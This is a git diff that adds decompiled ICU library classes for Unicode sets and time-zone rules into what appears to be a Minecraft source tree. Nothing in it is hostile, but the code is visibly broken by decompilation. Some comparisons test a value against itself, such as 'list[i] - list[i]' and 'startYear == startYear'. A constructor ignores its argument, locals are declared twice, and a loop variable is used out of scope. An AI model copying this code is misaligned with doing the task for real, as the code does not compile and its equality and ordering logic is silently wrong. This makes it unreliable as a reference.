+  public Iterator<String> iterator()
+  {
+    return new UnicodeSetIterator2(this);
+  }
+  
+
+  private static class UnicodeSetIterator2
+    implements Iterator<String>
+  {
+    private int[] sourceList;
+    
+    private int len;
+    private int item;
+    private int current;
+    private int limit;
+    private TreeSet<String> sourceStrings;
+    private Iterator<String> stringIterator;
+    private char[] buffer;
+    
+    UnicodeSetIterator2(UnicodeSet source)
+    {
+      len = (len - 1);
+      if (item >= len) {
+        stringIterator = strings.iterator();
+        sourceList = null;
+      } else {
+        sourceStrings = strings;
+        sourceList = list;
+        current = sourceList[(item++)];
+        limit = sourceList[(item++)];
+      }
+    }
+    
+
+
+    public boolean hasNext()
+    {
+      return (sourceList != null) || (stringIterator.hasNext());
+    }
+    
+
+
+    public String next()
+    {
+      if (sourceList == null) {
+        return (String)stringIterator.next();
+      }
+      int codepoint = current++;
+      
+      if (current >= limit) {
+        if (item >= len) {
+          stringIterator = sourceStrings.iterator();
+          sourceList = null;
+        } else {
+          current = sourceList[(item++)];
+          limit = sourceList[(item++)];
+        }
+      }
+      
+      if (codepoint <= 65535) {
+        return String.valueOf((char)codepoint);
+      }
+      
+
+      if (buffer == null) {
+        buffer = new char[2];
+      }
+      
+      int offset = codepoint - 65536;
+      buffer[0] = ((char)((offset >>> 10) + 55296));
+      buffer[1] = ((char)((offset & 0x3FF) + 56320));
+      return String.valueOf(buffer);
+    }
+    
+
+
+    public void remove()
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+  public boolean containsAll(Collection<String> collection)
+  {
+    for (String o : collection) {
+      if (!contains(o)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public boolean containsNone(Collection<String> collection)
+  {
+    for (String o : collection) {
+      if (contains(o)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public final boolean containsSome(Collection<String> collection)
+  {
+    return !containsNone(collection);
+  }
+  
+
+
+
+  public UnicodeSet addAll(String... collection)
+  {
+    checkFrozen();
+    for (String str : collection) {
+      add(str);
+    }
+    return this;
+  }
+  
+
+
+
+
+  public UnicodeSet removeAll(Collection<String> collection)
+  {
+    checkFrozen();
+    for (String o : collection) {
+      remove(o);
+    }
+    return this;
+  }
+  
+
+
+
+  public UnicodeSet retainAll(Collection<String> collection)
+  {
+    checkFrozen();
+    
+    UnicodeSet toRetain = new UnicodeSet();
+    toRetain.addAll(collection);
+    retainAll(toRetain);
+    return this;
+  }
+  
+
+
+
+
+
+
+  public static enum ComparisonStyle
+  {
+    SHORTER_FIRST, 
+    
+
+
+    LEXICOGRAPHIC, 
+    
+
+
+    LONGER_FIRST;
+    
+
+
+    private ComparisonStyle() {}
+  }
+  
+
+  public int compareTo(UnicodeSet o)
+  {
+    return compareTo(o, ComparisonStyle.SHORTER_FIRST);
+  }
+  
+
+
+
+  public int compareTo(UnicodeSet o, ComparisonStyle style)
+  {
+    if (style != ComparisonStyle.LEXICOGRAPHIC) {
+      int diff = size() - o.size();
+      if (diff != 0) {
+        return (diff < 0 ? 1 : 0) == (style == ComparisonStyle.SHORTER_FIRST ? 1 : 0) ? -1 : 1;
+      }
+    }
+    
+    for (int i = 0;; i++) { int result;
+      if (0 != (result = list[i] - list[i]))
+      {
+        if (list[i] == 1114112) {
+          if (strings.isEmpty()) return 1;
+          String item = (String)strings.first();
+          return compare(item, list[i]);
+        }
+        if (list[i] == 1114112) {
+          if (strings.isEmpty()) return -1;
+          String item = (String)strings.first();
+          return -compare(item, list[i]);
+        }
+        
+        return (i & 0x1) == 0 ? result : -result;
+      }
+      if (list[i] == 1114112) {
+        break;
+      }
+    }
+    return compare(strings, strings);
+  }
+  
+
+
+  public int compareTo(Iterable<String> other)
+  {
+    return compare(this, other);
+  }
+  
+
+
+
+
+
+
+
+
+  public static int compare(String string, int codePoint)
+  {
+    return CharSequences.compare(string, codePoint);
+  }
+  
+
+
+
+
+
+
+  public static int compare(int codePoint, String string)
+  {
+    return -CharSequences.compare(string, codePoint);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T extends Comparable<T>> int compare(Iterable<T> collection1, Iterable<T> collection2)
+  {
+    return compare(collection1.iterator(), collection2.iterator());
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static <T extends Comparable<T>> int compare(Iterator<T> first, Iterator<T> other)
+  {
+    for (;;)
+    {
+      if (!first.hasNext())
+        return other.hasNext() ? -1 : 0;
+      if (!other.hasNext()) {
+        return 1;
+      }
+      T item1 = (Comparable)first.next();
+      T item2 = (Comparable)other.next();
+      int result = item1.compareTo(item2);
+      if (result != 0) {
+        return result;
+      }
+    }
+  }
+  
+
+
+
+
+  public static <T extends Comparable<T>> int compare(Collection<T> collection1, Collection<T> collection2, ComparisonStyle style)
+  {
+    if (style != ComparisonStyle.LEXICOGRAPHIC) {
+      int diff = collection1.size() - collection2.size();
+      if (diff != 0) {
+        return (diff < 0 ? 1 : 0) == (style == ComparisonStyle.SHORTER_FIRST ? 1 : 0) ? -1 : 1;
+      }
+    }
+    return compare(collection1, collection2);
+  }
+  
+
+
+
+  public static <T, U extends Collection<T>> U addAllTo(Iterable<T> source, U target)
+  {
+    for (T item : source) {
+      target.add(item);
+    }
+    return target;
+  }
+  
+
+
+
+  public static <T> T[] addAllTo(Iterable<T> source, T[] target)
+  {
+    int i = 0;
+    for (T item : source) {
+      target[(i++)] = item;
+    }
+    return target;
+  }
+  
+
+
+
+
+
+
+
+
+  public Iterable<String> strings()
+  {
+    return Collections.unmodifiableSortedSet(strings);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public static int getSingleCodePoint(CharSequence s)
+  {
+    return CharSequences.getSingleCodePoint(s);
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public UnicodeSet addBridges(UnicodeSet dontCare)
+  {
+    UnicodeSet notInInput = new UnicodeSet(this).complement();
+    for (UnicodeSetIterator it = new UnicodeSetIterator(notInInput); it.nextRange();) {
+      if ((codepoint != 0) && (codepoint != UnicodeSetIterator.IS_STRING) && (codepointEnd != 1114111) && (dontCare.contains(codepoint, codepointEnd))) {
+        add(codepoint, codepointEnd);
+      }
+    }
+    return this;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public int findIn(CharSequence value, int fromIndex, boolean findNot)
+  {
+    int cp;
+    for (; 
+        
+
+
+        fromIndex < value.length(); fromIndex += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(value, fromIndex);
+      if (contains(cp) != findNot) {
+        break;
+      }
+    }
+    return fromIndex;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public int findLastIn(CharSequence value, int fromIndex, boolean findNot)
+  {
+    
+    int cp;
+    for (; 
+        
+
+
+
+        fromIndex >= 0; fromIndex -= UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(value, fromIndex);
+      if (contains(cp) != findNot) {
+        break;
+      }
+    }
+    return fromIndex < 0 ? -1 : fromIndex;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String stripFrom(CharSequence source, boolean matches)
+  {
+    StringBuilder result = new StringBuilder();
+    for (int pos = 0; pos < source.length();) {
+      int inside = findIn(source, pos, !matches);
+      result.append(source.subSequence(pos, inside));
+      pos = findIn(source, inside, matches);
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static enum SpanCondition
+  {
+    NOT_CONTAINED, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CONTAINED, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    SIMPLE, 
+    
+
+
+
+
+    CONDITION_COUNT;
+    
+
+    private SpanCondition() {}
+  }
+  
+
+  public static XSymbolTable getDefaultXSymbolTable()
+  {
+    return XSYMBOL_TABLE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void setDefaultXSymbolTable(XSymbolTable xSymbolTable)
+  {
+    XSYMBOL_TABLE = xSymbolTable;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeSetIterator.java b/src/minecraft/com/ibm/icu/text/UnicodeSetIterator.java
new file mode 100644
index 0000000..e825f93
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeSetIterator.java
@@ -0,0 +1,266 @@
+package com.ibm.icu.text;
+
+import java.util.Iterator;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnicodeSetIterator
+{
+  public static int IS_STRING = -1;
+  
+
+
+
+
+
+  public int codepoint;
+  
+
+
+
+
+  public int codepointEnd;
+  
+
+
+
+
+  public String string;
+  
+
+
+
+
+  private UnicodeSet set;
+  
+
+
+
+
+
+  public UnicodeSetIterator(UnicodeSet set)
+  {
+    reset(set);
+  }
+  
+
+
+
+
+
+  public UnicodeSetIterator()
+  {
+    reset(new UnicodeSet());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean next()
+  {
+    if (nextElement <= endElement) {
+      codepoint = (this.codepointEnd = nextElement++);
+      return true;
+    }
+    if (range < endRange) {
+      loadRange(++range);
+      codepoint = (this.codepointEnd = nextElement++);
+      return true;
+    }
+    
+
+
+    if (stringIterator == null) {
+      return false;
+    }
+    codepoint = IS_STRING;
+    string = ((String)stringIterator.next());
+    if (!stringIterator.hasNext()) {
+      stringIterator = null;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean nextRange()
+  {
+    if (nextElement <= endElement) {
+      codepointEnd = endElement;
+      codepoint = nextElement;
+      nextElement = (endElement + 1);
+      return true;
+    }
+    if (range < endRange) {
+      loadRange(++range);
+      codepointEnd = endElement;
+      codepoint = nextElement;
+      nextElement = (endElement + 1);
+      return true;
+    }
+    
+
+
+    if (stringIterator == null) {
+      return false;
+    }
+    codepoint = IS_STRING;
+    string = ((String)stringIterator.next());
+    if (!stringIterator.hasNext()) {
+      stringIterator = null;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+  public void reset(UnicodeSet uset)
+  {
+    set = uset;
+    reset();
+  }
+  
+
+
+
+  public void reset()
+  {
+    endRange = (set.getRangeCount() - 1);
+    range = 0;
+    endElement = -1;
+    nextElement = 0;
+    if (endRange >= 0) {
+      loadRange(range);
+    }
+    stringIterator = null;
+    if (set.strings != null) {
+      stringIterator = set.strings.iterator();
+      if (!stringIterator.hasNext()) {
+        stringIterator = null;
+      }
+    }
+  }
+  
+
+
+
+  public String getString()
+  {
+    if (codepoint != IS_STRING) {
+      return UTF16.valueOf(codepoint);
+    }
+    return string;
+  }
+  
+
+
+
+  private int endRange = 0;
+  private int range = 0;
+  
+  /**
+   * @deprecated
+   */
+  public UnicodeSet getSet()
+  {
+    return set;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int endElement;
+  
+  /**
+   * @deprecated
+   */
+  protected int nextElement;
+  private Iterator<String> stringIterator = null;
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected void loadRange(int aRange)
+  {
+    nextElement = set.getRangeStart(aRange);
+    endElement = set.getRangeEnd(aRange);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/AnnualTimeZoneRule.java b/src/minecraft/com/ibm/icu/util/AnnualTimeZoneRule.java
new file mode 100644
index 0000000..84d6382
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/AnnualTimeZoneRule.java
@@ -0,0 +1,264 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Grego;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AnnualTimeZoneRule
+  extends TimeZoneRule
+{
+  private static final long serialVersionUID = -8870666707791230688L;
+  public static final int MAX_YEAR = Integer.MAX_VALUE;
+  private final DateTimeRule dateTimeRule;
+  private final int startYear;
+  private final int endYear;
+  
+  public AnnualTimeZoneRule(String name, int rawOffset, int dstSavings, DateTimeRule dateTimeRule, int startYear, int endYear)
+  {
+    super(name, rawOffset, dstSavings);
+    this.dateTimeRule = dateTimeRule;
+    this.startYear = startYear;
+    this.endYear = (endYear > Integer.MAX_VALUE ? Integer.MAX_VALUE : endYear);
+  }
+  
+
+
+
+
+
+
+
+  public DateTimeRule getRule()
+  {
+    return dateTimeRule;
+  }
+  
+
+
+
+
+
+
+
+  public int getStartYear()
+  {
+    return startYear;
+  }
+  
+
+
+
+
+
+
+
+  public int getEndYear()
+  {
+    return endYear;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Date getStartInYear(int year, int prevRawOffset, int prevDSTSavings)
+  {
+    if ((year < startYear) || (year > endYear)) {
+      return null;
+    }
+    
+
+    int type = dateTimeRule.getDateRuleType();
+    long ruleDay;
+    long ruleDay; if (type == 0) {
+      ruleDay = Grego.fieldsToDay(year, dateTimeRule.getRuleMonth(), dateTimeRule.getRuleDayOfMonth());
+    } else {
+      boolean after = true;
+      if (type == 1) {
+        int weeks = dateTimeRule.getRuleWeekInMonth();
+        if (weeks > 0) {
+          long ruleDay = Grego.fieldsToDay(year, dateTimeRule.getRuleMonth(), 1);
+          ruleDay += 7 * (weeks - 1);
+        } else {
+          after = false;
+          long ruleDay = Grego.fieldsToDay(year, dateTimeRule.getRuleMonth(), Grego.monthLength(year, dateTimeRule.getRuleMonth()));
+          
+          ruleDay += 7 * (weeks + 1);
+        }
+      } else {
+        int month = dateTimeRule.getRuleMonth();
+        int dom = dateTimeRule.getRuleDayOfMonth();
+        if (type == 3) {
+          after = false;
+          
+          if ((month == 1) && (dom == 29) && (!Grego.isLeapYear(year))) {
+            dom--;
+          }
+        }
+        ruleDay = Grego.fieldsToDay(year, month, dom);
+      }
+      
+      int dow = Grego.dayOfWeek(ruleDay);
+      int delta = dateTimeRule.getRuleDayOfWeek() - dow;
+      if (after) {
+        delta = delta < 0 ? delta + 7 : delta;
+      } else {
+        delta = delta > 0 ? delta - 7 : delta;
+      }
+      ruleDay += delta;
+    }
+    
+    long ruleTime = ruleDay * 86400000L + dateTimeRule.getRuleMillisInDay();
+    if (dateTimeRule.getTimeRuleType() != 2) {
+      ruleTime -= prevRawOffset;
+    }
+    if (dateTimeRule.getTimeRuleType() == 0) {
+      ruleTime -= prevDSTSavings;
+    }
+    return new Date(ruleTime);
+  }
+  
+
+
+
+  public Date getFirstStart(int prevRawOffset, int prevDSTSavings)
+  {
+    return getStartInYear(startYear, prevRawOffset, prevDSTSavings);
+  }
+  
+
+
+
+  public Date getFinalStart(int prevRawOffset, int prevDSTSavings)
+  {
+    if (endYear == Integer.MAX_VALUE) {
+      return null;
+    }
+    return getStartInYear(endYear, prevRawOffset, prevDSTSavings);
+  }
+  
+
+
+
+  public Date getNextStart(long base, int prevRawOffset, int prevDSTSavings, boolean inclusive)
+  {
+    int[] fields = Grego.timeToFields(base, null);
+    int year = fields[0];
+    if (year < startYear) {
+      return getFirstStart(prevRawOffset, prevDSTSavings);
+    }
+    Date d = getStartInYear(year, prevRawOffset, prevDSTSavings);
+    if ((d != null) && ((d.getTime() < base) || ((!inclusive) && (d.getTime() == base)))) {
+      d = getStartInYear(year + 1, prevRawOffset, prevDSTSavings);
+    }
+    return d;
+  }
+  
+
+
+
+  public Date getPreviousStart(long base, int prevRawOffset, int prevDSTSavings, boolean inclusive)
+  {
+    int[] fields = Grego.timeToFields(base, null);
+    int year = fields[0];
+    if (year > endYear) {
+      return getFinalStart(prevRawOffset, prevDSTSavings);
+    }
+    Date d = getStartInYear(year, prevRawOffset, prevDSTSavings);
+    if ((d != null) && ((d.getTime() > base) || ((!inclusive) && (d.getTime() == base)))) {
+      d = getStartInYear(year - 1, prevRawOffset, prevDSTSavings);
+    }
+    return d;
+  }
+  
+
+
+
+  public boolean isEquivalentTo(TimeZoneRule other)
+  {
+    if (!(other instanceof AnnualTimeZoneRule)) {
+      return false;
+    }
+    AnnualTimeZoneRule otherRule = (AnnualTimeZoneRule)other;
+    if ((startYear == startYear) && (endYear == endYear) && (dateTimeRule.equals(dateTimeRule)))
+    {
+
+      return super.isEquivalentTo(other);
+    }
+    return false;
+  }
+  
+
+
+
+
+  public boolean isTransitionRule()
+  {
+    return true;
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(super.toString());
+    buf.append(", rule={" + dateTimeRule + "}");
+    buf.append(", startYear=" + startYear);
+    buf.append(", endYear=");
+    if (endYear == Integer.MAX_VALUE) {
+      buf.append("max");
+    } else {
+      buf.append(endYear);
+    }
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/BasicTimeZone.java b/src/minecraft/com/ibm/icu/util/BasicTimeZone.java
new file mode 100644
index 0000000..c785ba2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/BasicTimeZone.java
@@ -0,0 +1,610 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Grego;
+import java.util.BitSet;
+import java.util.Date;
+import java.util.LinkedList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class BasicTimeZone
+  extends TimeZone
+{
+  private static final long serialVersionUID = -3204278532246180932L;
+  private static final long MILLIS_PER_YEAR = 31536000000L;
+  /**
+   * @deprecated
+   */
+  public static final int LOCAL_STD = 1;
+  /**
+   * @deprecated
+   */
+  public static final int LOCAL_DST = 3;
+  /**
+   * @deprecated
+   */
+  public static final int LOCAL_FORMER = 4;
+  /**
+   * @deprecated
+   */
+  public static final int LOCAL_LATTER = 12;
+  /**
+   * @deprecated
+   */
+  protected static final int STD_DST_MASK = 3;
+  /**
+   * @deprecated
+   */
+  protected static final int FORMER_LATTER_MASK = 12;
+  
+  public abstract TimeZoneTransition getNextTransition(long paramLong, boolean paramBoolean);
+  
+  public abstract TimeZoneTransition getPreviousTransition(long paramLong, boolean paramBoolean);
+  
+  public boolean hasEquivalentTransitions(TimeZone tz, long start, long end)
+  {
+    return hasEquivalentTransitions(tz, start, end, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean hasEquivalentTransitions(TimeZone tz, long start, long end, boolean ignoreDstAmount)
+  {
+    if (this == tz) {
+      return true;
+    }
+    
+    if (!(tz instanceof BasicTimeZone)) {
+      return false;
+    }
+    
+
+    int[] offsets1 = new int[2];
+    int[] offsets2 = new int[2];
+    
+    getOffset(start, false, offsets1);
+    tz.getOffset(start, false, offsets2);
+    
+    if (ignoreDstAmount) {
+      if ((offsets1[0] + offsets1[1] != offsets2[0] + offsets2[1]) || ((offsets1[1] != 0) && (offsets2[1] == 0)) || ((offsets1[1] == 0) && (offsets2[1] != 0)))
+      {
+
+        return false;
+      }
+    }
+    else if ((offsets1[0] != offsets2[0]) || (offsets1[1] != offsets2[1])) {
+      return false;
+    }
+    
+
+
+    long time = start;
+    for (;;) {
+      TimeZoneTransition tr1 = getNextTransition(time, false);
+      TimeZoneTransition tr2 = ((BasicTimeZone)tz).getNextTransition(time, false);
+      
+      if (ignoreDstAmount)
+      {
+
+        while ((tr1 != null) && (tr1.getTime() <= end) && (tr1.getFrom().getRawOffset() + tr1.getFrom().getDSTSavings() == tr1.getTo().getRawOffset() + tr1.getTo().getDSTSavings()) && (tr1.getFrom().getDSTSavings() != 0) && (tr1.getTo().getDSTSavings() != 0))
+        {
+
+
+
+          tr1 = getNextTransition(tr1.getTime(), false);
+        }
+        
+
+
+
+        while ((tr2 != null) && (tr2.getTime() <= end) && (tr2.getFrom().getRawOffset() + tr2.getFrom().getDSTSavings() == tr2.getTo().getRawOffset() + tr2.getTo().getDSTSavings()) && (tr2.getFrom().getDSTSavings() != 0) && (tr2.getTo().getDSTSavings() != 0))
+        {
+
+
+
+          tr2 = ((BasicTimeZone)tz).getNextTransition(tr2.getTime(), false);
+        }
+      }
+      
+
+
+
+      boolean inRange1 = false;
+      boolean inRange2 = false;
+      if ((tr1 != null) && 
+        (tr1.getTime() <= end)) {
+        inRange1 = true;
+      }
+      
+      if ((tr2 != null) && 
+        (tr2.getTime() <= end)) {
+        inRange2 = true;
+      }
+      
+      if ((!inRange1) && (!inRange2)) {
+        break;
+      }
+      
+      if ((!inRange1) || (!inRange2)) {
+        return false;
+      }
+      if (tr1.getTime() != tr2.getTime()) {
+        return false;
+      }
+      if (ignoreDstAmount) {
+        if ((tr1.getTo().getRawOffset() + tr1.getTo().getDSTSavings() != tr2.getTo().getRawOffset() + tr2.getTo().getDSTSavings()) || ((tr1.getTo().getDSTSavings() != 0) && (tr2.getTo().getDSTSavings() == 0)) || ((tr1.getTo().getDSTSavings() == 0) && (tr2.getTo().getDSTSavings() != 0)))
+        {
+
+
+          return false;
+        }
+      }
+      else if ((tr1.getTo().getRawOffset() != tr2.getTo().getRawOffset()) || (tr1.getTo().getDSTSavings() != tr2.getTo().getDSTSavings()))
+      {
+        return false;
+      }
+      
+      time = tr1.getTime();
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract TimeZoneRule[] getTimeZoneRules();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZoneRule[] getTimeZoneRules(long start)
+  {
+    TimeZoneRule[] all = getTimeZoneRules();
+    TimeZoneTransition tzt = getPreviousTransition(start, true);
+    if (tzt == null)
+    {
+      return all;
+    }
+    
+    BitSet isProcessed = new BitSet(all.length);
+    List<TimeZoneRule> filteredRules = new LinkedList();
+    
+
+    TimeZoneRule initial = new InitialTimeZoneRule(tzt.getTo().getName(), tzt.getTo().getRawOffset(), tzt.getTo().getDSTSavings());
+    
+    filteredRules.add(initial);
+    isProcessed.set(0);
+    
+
+    for (int i = 1; i < all.length; i++) {
+      Date d = all[i].getNextStart(start, initial.getRawOffset(), initial.getDSTSavings(), false);
+      
+      if (d == null) {
+        isProcessed.set(i);
+      }
+    }
+    
+    long time = start;
+    boolean bFinalStd = false;boolean bFinalDst = false;
+    while ((!bFinalStd) || (!bFinalDst)) {
+      tzt = getNextTransition(time, false);
+      if (tzt == null) {
+        break;
+      }
+      time = tzt.getTime();
+      
+      TimeZoneRule toRule = tzt.getTo();
+      for (int ruleIdx = 1; 
+          ruleIdx < all.length; ruleIdx++) {
+        if (all[ruleIdx].equals(toRule)) {
+          break;
+        }
+      }
+      if (ruleIdx >= all.length) {
+        throw new IllegalStateException("The rule was not found");
+      }
+      if (!isProcessed.get(ruleIdx))
+      {
+
+        if ((toRule instanceof TimeArrayTimeZoneRule)) {
+          TimeArrayTimeZoneRule tar = (TimeArrayTimeZoneRule)toRule;
+          
+
+          long t = start;
+          for (;;) {
+            tzt = getNextTransition(t, false);
+            if (tzt == null) {
+              break;
+            }
+            if (tzt.getTo().equals(tar)) {
+              break;
+            }
+            t = tzt.getTime();
+          }
+          if (tzt != null)
+          {
+            Date firstStart = tar.getFirstStart(tzt.getFrom().getRawOffset(), tzt.getFrom().getDSTSavings());
+            
+            if (firstStart.getTime() > start)
+            {
+              filteredRules.add(tar);
+            }
+            else {
+              long[] times = tar.getStartTimes();
+              int timeType = tar.getTimeType();
+              
+              for (int idx = 0; idx < times.length; idx++) {
+                t = times[idx];
+                if (timeType == 1) {
+                  t -= tzt.getFrom().getRawOffset();
+                }
+                if (timeType == 0) {
+                  t -= tzt.getFrom().getDSTSavings();
+                }
+                if (t > start) {
+                  break;
+                }
+              }
+              int asize = times.length - idx;
+              if (asize > 0) {
+                long[] newtimes = new long[asize];
+                System.arraycopy(times, idx, newtimes, 0, asize);
+                TimeArrayTimeZoneRule newtar = new TimeArrayTimeZoneRule(tar.getName(), tar.getRawOffset(), tar.getDSTSavings(), newtimes, tar.getTimeType());
+                
+
+                filteredRules.add(newtar);
+              }
+            }
+          }
+        } else if ((toRule instanceof AnnualTimeZoneRule)) {
+          AnnualTimeZoneRule ar = (AnnualTimeZoneRule)toRule;
+          Date firstStart = ar.getFirstStart(tzt.getFrom().getRawOffset(), tzt.getFrom().getDSTSavings());
+          
+          if (firstStart.getTime() == tzt.getTime())
+          {
+            filteredRules.add(ar);
+          }
+          else {
+            int[] dfields = new int[6];
+            Grego.timeToFields(tzt.getTime(), dfields);
+            
+            AnnualTimeZoneRule newar = new AnnualTimeZoneRule(ar.getName(), ar.getRawOffset(), ar.getDSTSavings(), ar.getRule(), dfields[0], ar.getEndYear());
+            
+
+            filteredRules.add(newar);
+          }
+          
+          if (ar.getEndYear() == Integer.MAX_VALUE)
+          {
+
+            if (ar.getDSTSavings() == 0) {
+              bFinalStd = true;
+            } else {
+              bFinalDst = true;
+            }
+          }
+        }
+        isProcessed.set(ruleIdx);
+      } }
+    TimeZoneRule[] rules = (TimeZoneRule[])filteredRules.toArray(new TimeZoneRule[filteredRules.size()]);
+    return rules;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZoneRule[] getSimpleTimeZoneRulesNear(long date)
+  {
+    AnnualTimeZoneRule[] annualRules = null;
+    TimeZoneRule initialRule = null;
+    
+    TimeZoneTransition tr = getNextTransition(date, false);
+    if (tr != null) {
+      String initialName = tr.getFrom().getName();
+      int initialRaw = tr.getFrom().getRawOffset();
+      int initialDst = tr.getFrom().getDSTSavings();
+      
+
+
+      long nextTransitionTime = tr.getTime();
+      if (((tr.getFrom().getDSTSavings() == 0) && (tr.getTo().getDSTSavings() != 0)) || ((tr.getFrom().getDSTSavings() != 0) && (tr.getTo().getDSTSavings() == 0) && (date + 31536000000L > nextTransitionTime)))
+      {
+
+        annualRules = new AnnualTimeZoneRule[2];
+        
+        int[] dtfields = Grego.timeToFields(nextTransitionTime + tr.getFrom().getRawOffset() + tr.getFrom().getDSTSavings(), null);
+        
+        int weekInMonth = Grego.getDayOfWeekInMonth(dtfields[0], dtfields[1], dtfields[2]);
+        
+        DateTimeRule dtr = new DateTimeRule(dtfields[1], weekInMonth, dtfields[3], dtfields[5], 0);
+        
+
+        AnnualTimeZoneRule secondRule = null;
+        
+
+
+
+
+
+
+        annualRules[0] = new AnnualTimeZoneRule(tr.getTo().getName(), initialRaw, tr.getTo().getDSTSavings(), dtr, dtfields[0], Integer.MAX_VALUE);
+        
+
+
+        if (tr.getTo().getRawOffset() == initialRaw)
+        {
+
+          tr = getNextTransition(nextTransitionTime, false);
+          if (tr != null)
+          {
+
+            if (((tr.getFrom().getDSTSavings() == 0) && (tr.getTo().getDSTSavings() != 0)) || ((tr.getFrom().getDSTSavings() != 0) && (tr.getTo().getDSTSavings() == 0) && (nextTransitionTime + 31536000000L > tr.getTime())))
+            {
+
+
+
+              dtfields = Grego.timeToFields(tr.getTime() + tr.getFrom().getRawOffset() + tr.getFrom().getDSTSavings(), dtfields);
+              
+
+              weekInMonth = Grego.getDayOfWeekInMonth(dtfields[0], dtfields[1], dtfields[2]);
+              
+              dtr = new DateTimeRule(dtfields[1], weekInMonth, dtfields[3], dtfields[5], 0);
+              
+              secondRule = new AnnualTimeZoneRule(tr.getTo().getName(), tr.getTo().getRawOffset(), tr.getTo().getDSTSavings(), dtr, dtfields[0] - 1, Integer.MAX_VALUE);
+              
+
+
+              Date d = secondRule.getPreviousStart(date, tr.getFrom().getRawOffset(), tr.getFrom().getDSTSavings(), true);
+              
+              if ((d != null) && (d.getTime() <= date) && (initialRaw == tr.getTo().getRawOffset()) && (initialDst == tr.getTo().getDSTSavings()))
+              {
+
+
+                annualRules[1] = secondRule;
+              }
+            }
+          }
+        }
+        
+        if (annualRules[1] == null)
+        {
+          tr = getPreviousTransition(date, true);
+          if (tr != null)
+          {
+
+            if (((tr.getFrom().getDSTSavings() == 0) && (tr.getTo().getDSTSavings() != 0)) || ((tr.getFrom().getDSTSavings() != 0) && (tr.getTo().getDSTSavings() == 0)))
+            {
+
+
+              dtfields = Grego.timeToFields(tr.getTime() + tr.getFrom().getRawOffset() + tr.getFrom().getDSTSavings(), dtfields);
+              
+
+              weekInMonth = Grego.getDayOfWeekInMonth(dtfields[0], dtfields[1], dtfields[2]);
+              
+              dtr = new DateTimeRule(dtfields[1], weekInMonth, dtfields[3], dtfields[5], 0);
+              
+
+
+
+              secondRule = new AnnualTimeZoneRule(tr.getTo().getName(), initialRaw, initialDst, dtr, annualRules[0].getStartYear() - 1, Integer.MAX_VALUE);
+              
+
+
+
+
+              Date d = secondRule.getNextStart(date, tr.getFrom().getRawOffset(), tr.getFrom().getDSTSavings(), false);
+              
+              if (d.getTime() > nextTransitionTime)
+              {
+                annualRules[1] = secondRule;
+              }
+            }
+          }
+        }
+        if (annualRules[1] == null)
+        {
+          annualRules = null;
+        }
+        else {
+          initialName = annualRules[0].getName();
+          initialRaw = annualRules[0].getRawOffset();
+          initialDst = annualRules[0].getDSTSavings();
+        }
+      }
+      initialRule = new InitialTimeZoneRule(initialName, initialRaw, initialDst);
+    }
+    else {
+      tr = getPreviousTransition(date, true);
+      if (tr != null) {
+        initialRule = new InitialTimeZoneRule(tr.getTo().getName(), tr.getTo().getRawOffset(), tr.getTo().getDSTSavings());
+      }
+      else
+      {
+        int[] offsets = new int[2];
+        getOffset(date, false, offsets);
+        initialRule = new InitialTimeZoneRule(getID(), offsets[0], offsets[1]);
+      }
+    }
+    
+    TimeZoneRule[] result = null;
+    if (annualRules == null) {
+      result = new TimeZoneRule[1];
+      result[0] = initialRule;
+    } else {
+      result = new TimeZoneRule[3];
+      result[0] = initialRule;
+      result[1] = annualRules[0];
